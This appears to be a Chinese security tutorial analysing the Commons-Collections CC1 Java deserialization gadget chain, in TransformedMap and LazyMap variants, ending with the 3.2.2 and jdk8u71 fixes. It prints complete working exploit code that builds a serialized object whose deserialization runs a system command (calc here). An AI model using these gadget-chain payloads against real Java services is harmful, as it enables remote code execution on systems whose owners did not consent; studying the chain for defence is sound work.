CC1链的核心是“利用可序列化类的readObject()方法,触发恶意Transformer链的反射调用”,本质是对Java反射机制和序列化机制的滥用;
**关键前提:**目标需满足使用存在漏洞的Commons-Collections版本+存在可触发的readObject()入口。
而且LazyMap链比TransformedMap链稳定,jdk8u71之后readObject()方法不再调用Map.Entry.setValue(),改用LinkedHashMap直接接收数据
0x01 环境搭建 JDK8u65 (jdk8u71之后cc1链漏洞是已修复的)
commons-collections 3.2.1(如果是commons-collections 3.2.2之后,cc1链漏洞是已修复的)
Common-Collections 就是一个集合工作类,用来处理集合的。
导入依赖pom添加依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
反序列化攻击需要一个入口类readObject(),结尾需要一个执行命令的方法,一般就是反射、动态加载字节码的方式。
2.1. 找到尾部 漏洞点是:org.apache.commons.collections.functors.InvokerTransformer#transform 可以反射任意类,可以作为链子的终点。
可以通过构造方法传入参数,因为是构造方法是public 所以不用反射。iMethodName, iParamTypes,iArgs参数可以通过有参构造传入。
1 2 3 4 5 6 7 8 Runtime runtime = Runtime.getRuntime(); InvokerTransformer exec = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); exec.transform(runtime);
2.2. 初步找链子 现在寻找谁调用了transform方法不同名类
org.apache.commons.collections.map.TransformedMap#checkSetValue 调用了transform方法
valueTransformer 通过有参构造传入,但是访问修饰符是受保护的,寻找谁调用了TransformedMap
org.apache.commons.collections.map.TransformedMap#decorate 调用了TransformedMap,
因为TransformedMap是public方法。尝试编写一下POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); HashMap<Object, Object> hashedMap = new HashMap <>(); InvokerTransformer exec = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" } ); Map decorate = TransformedMap.decora te (hashedMap, null , exec) ; Class<TransformedMap> transformedMapClass = TransformedMap.class; Method transformValue = transformedMapClass.getDeclaredMethod("transformValue" , Object.class); transformValue.setAccessible(true ); transformValue.invoke(decorate, runtime); }
1 2 3 4 5 找 .decorate 的链子,无法更近一步,回到org.apache.commons.collections.map.TransformedMap#checkSetValue,看看谁调用了checkSetValue, org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue,然后发现了这个,调用checkSetValue是抽象类内部类org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry的setValue调用, setValue() 实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作。
跟进一下
可以看看map遍历的时候,会不会走到这里
思路就是通过.entrySet()获取键值对,通过for循环遍历,设置“Value” 值
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
HashMap<String, String> hashedMap = new HashMap<>();
hashedMap.put("1","2");
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object, Object> decorate = TransformedMap.decorate(hashedMap, null, exec);
for (Map.Entry entry:decorate.entrySet()){
entry.setValue(runtime);
}
}
}
2.3. 寻找入口readObject() 在从“setValue”继续找,找到AnnotationInvocationHandler类,这个类是跟动态代理相关的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); // 关键代码:遍历注解的所有方法 for (Method memberMethod : type.getDeclaredMethods()) { String member = memberMethod.getName(); // 获取注解方法名 Object value = memberValues.get(member); // 从Map获取值 // 获取默认值 Object defaultValue = memberMethod.getDefaultValue(); // 如果值不对,就修正 if (defaultValue != null && !defaultValue.equals(value)) { // memberValues不是原生HashMap,而是TransformedMap包装后的恶意Map // TransformedMap重写了put/setValue方法,调用时会执行我们构造的Transformer链 // 核心补充3:我调试时打断点看到,这里的put()最终会调用TransformedMap的setValue(),触发InvokerTransformer执行命令 memberValues.put(member, defaultValue); // 修改值 } } }
2.4.一些基础 1 2 3 4 5 6 7 ConstantTransformer类发transformer方法传入任意东西,都会返回iConstant,类似一个常量,是Object类型,是所有类的父类。 private final Object iConstant; public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 1、iTransformers是一个Transformer数组,遍历遍历到每个Transformer按顺序调用每个 Transformer的 transform方法,这样外部触发一次transform方法,就可以同时调用多个Transformer,那么就不用写多个InvokerTransformer.transform方法了 private final Transformer[] iTransformers; public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
2.5. 需要解决问题分析
Runtime不能反序列化,但是可以反射变成可以序列化(因为Runtime没有继承Serializable,所以不能直接反序列化)
1 2 3 4 5 6 7 8 9 10 11 但是InvokerTransformer类反射调用过来,因为InvokerTransformer继承了Serializabl,然后在利用用ChainedTransformer 类下的 transform 方法递归,然后进行反射,这样就不用执行多次的transform方法,而且ConstantTransformer类的transformer方法就是传什么返回什么,那么exp: Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke" , new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}),}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
2.setValue要控制它的value是Runtime.class,要先满足setValue需要满足一些条件:
1 2 3 4 5 满足这个for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) 要满足memberValues有值,memberValues从这里传入AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues), 第一个参数Class<? extends Annotation> type这里是一个注解类,在编译阶段,Java 编译器会处理用 @interface定义的类,并自动生成一个实现了 java.lang.annotation.Annotation接口的具体类。所以我们要先传入一个注解类,在传入一个map 第二个参数是一个map
1 2 3 4 5 6 7 8 9 10 第一if会判断传入的map的值是否在注解中, memberTypes.get(name)就是通过已知的属性名(name),去获取这个属性所期望的数据类型,如果不存在,自然为空,所以map的key值设置成一个有参数的注解参数即可 可以传入Repeatable.class。 Class<?> memberType = memberTypes.get(name);if (memberType != null) @Retention注解: - 是Java内置注解 - 只有一个属性:value - value有默认值:RetentionPolicy.CLASS - 简单,容易触发检查
1 第二个if它这里判断memberType的value能否强转,但是这里是强转不了的,value和memberType类型不匹配,所以会进入if,所以map哪里,我们就随便填填字符串就可以了。
1 2 3 4 5 最后就是setValue要控制它的value是Runtime.class 但是目前是memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))); 但是ChainedTransformer的transform方法返回的值是可控制,所以只要触发transform就可以了
2.6.最终exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Repeatable;import java.lang.annotation.Retention;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }),}; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<String, String> hashedMap = new HashMap <>(); hashedMap.put("value" ,"2" ); Map<Object, Object> decorate = TransformedMap.decorate(hashedMap, null , chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Retention.class, decorate); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
2.7.完整利用链 完整利用链路:
**执行危险方法的尾链:**InvokerTransformer#transform 通过反射调用任意方法,是执行命令的最终点,这样我们就可以反射调用Runtime类,执行系统命令
过程:
TransformedMap#checkSetValue 调用了transform方法
AbstractInputCheckedMapDecorator.MapEntry#setValue调用了checkSetValue , 这是TransformedMap内部父类的一个方法,通常在遍历Map的Entry时通过setValue触发。
执行 readObject() 的入口: AnnotationInvocationHandler#readObject 重写了 readObject(),会遍历 Map.Entry 并调用 setValue(),从而触发后续链条。
利用链路:
InvokerTransformer#transform
TransformedMap#checkSetValue valueTransformer.transform
AbstractInputCheckedMapDecorator.MapEntry#setValue parent.checkSetValue
AnnotationInvocationHandler#readObject emberValue.setValue
辅助链:
ConstantTransformer
ChainedTransformer
hashedMap
CC1 链完整调用链路图如下所示:
0x03 CC1攻击链分析(LazyMap链)分析 现在分析LazyMap链分析
3.1. 寻找链尾 漏洞点还是 InvokeTransformer.Transform()
1 2 3 Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
但是LazyMap 这个类的 get 方法中出现了 .transform 方法,get 方法的作用域为 public。
1 2 3 4 5 6 7 8 9 public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
3.2. 寻找链子 1 2 3 4 5 6 7 8 9 10 发现可以通过 LazyMap类构造方法传值,但是因为作用域为 private ,因为无法直接获取 protected final Transformer factory; protected LazyMap (Map map, Transformer factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } this .factory = factory; }
1 2 3 4 5 6 又发现通过decorate方法里面可以new LazyMap (map, factory);,而且作用域还是public public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
尝试构造利用看看,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class cc1_lazy { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer exec = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object,Object> lazyMap = new HashMap <Object, Object>(); Map decorate = LazyMap.decorate(lazyMap, exec); Class<LazyMap> lazyMapClass = LazyMap.class; Method get = lazyMapClass.getDeclaredMethod("get" , Object.class); get.setAccessible(true ); get.invoke(decorate,runtime); } }
3.3.寻找入口readObject() 1 2 3 就找谁调用了LazyMap#get, 发现sun.reflect.annotation.AnnotationInvocationHandler#invoke方法调用了.get方法 Object result = memberValues.get(member);
1 2 3 4 需要触发 invoke 方法,马上想到动态代理,一个接口被动态代理之后,当调用代理对象的任何接口定义的方法时,都会调用InvocationHandler的invoke方法。 而AnnotationInvocationHandler的父类就是InvocationHandler; class AnnotationInvocationHandler implements InvocationHandler, Serializable
1 2 3 在AnnotationInvocationHandler.readObject()方法里面可以调用.entrySet()触发invoke方法,只要 memberValues.entrySet()的memberValues值替换成代理对象,就可以触发invoke()方法 for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
3.4.编写EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class cc1_lazy { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> lazyMap = new HashMap <Object, Object>(); Map decorate = LazyMap.decorate(lazyMap, chainedTransformer); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler o = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class []{Map.class}, o); o = (InvocationHandler)declaredConstructor.newInstance(Override.class, proxyMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); ois.close(); return obj; } }
1 2 3 4 Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor aDeclaredConstructor = a.getDeclaredConstructor(Class.class, Map.class); aDeclaredConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) aDeclaredConstructor.newInstance(Override.class, decorateLazyMap);
生成代理类,并使用反序列化调用计算器
1 2 3 4 5 Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class[]{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin");
3.5.完整利用链 1 2 3 4 5 6 7 8 9 10 11 12 调用链 InvokeTransformer#transform LazyMap#get factory.transform() AnnotationInvocationHandler#invoke memberValues.get() AnnotationInvocationHandler#readObject memberValues.entrySet() 辅助链 ChainedTransformer ConstantTransformer HashMap Map(Proxy)#entrySet
0x04 漏洞修复 4.1 Commons Collections >= 3.2.2 之后修复 1 3.2.2 及之后就修复了,底层原理:在 readObject 时增加了校验,除非开发者手动设置系统属性 org.apache.commons.collections.enableUnsafeSerialization 为 true,否则只要反序列化到这些危险类,直接抛出 UnsupportedOperationException 异常,如下图所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 可以在org.apache.commons.collections.functors.InvokerTransformer#readObject 处打断点 Commons Collections 3.2.2之后的InvokerTransformer的readObject()方法多了一个reFunctorUtils.checkUnsafeSerialization,如果没开启系统白名单属性,反序列化到这里当场抛异常报错。 static void checkUnsafeSerialization(Class clazz) { String unsafeSerializableProperty; try { unsafeSerializableProperty = (String)AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"); } }); } catch (SecurityException var3) { unsafeSerializableProperty = null; } if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) { throw new UnsupportedOperationException("Serialization support for " + clazz.getName() + " is disabled for security reasons. " + "To enable it set system property '" + "org.apache.commons.collections.enableUnsafeSerialization" + "' to 'true', " + "but you must ensure that your application does not de-serialize objects from untrusted sources."); } }
1 对比 Commons Collections 3.2.1 的代码,`InvokerTransformer` 中不存在 3.2.2 新增的反序列化安全检查。
4.2 jdk8u71之后修复 1 jdk8u71版本之后,官网AnnotationInvocationHandler的readObject()方法不再调用Map.Entry.setValue(),改用LinkedHashMap直接接收数据,避免触发TransformedMap的恶意逻辑,readObject()遍历Map时仅执行数据存储,未触发setValue(),漏洞无法利用。
1 对比一下jdk8u65是通过setValue()来修改值
1 2 而且原本会遍历memberValues,调用entrySet for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
1 jdk8u71之后不再遍历 entrySet 调用 setValue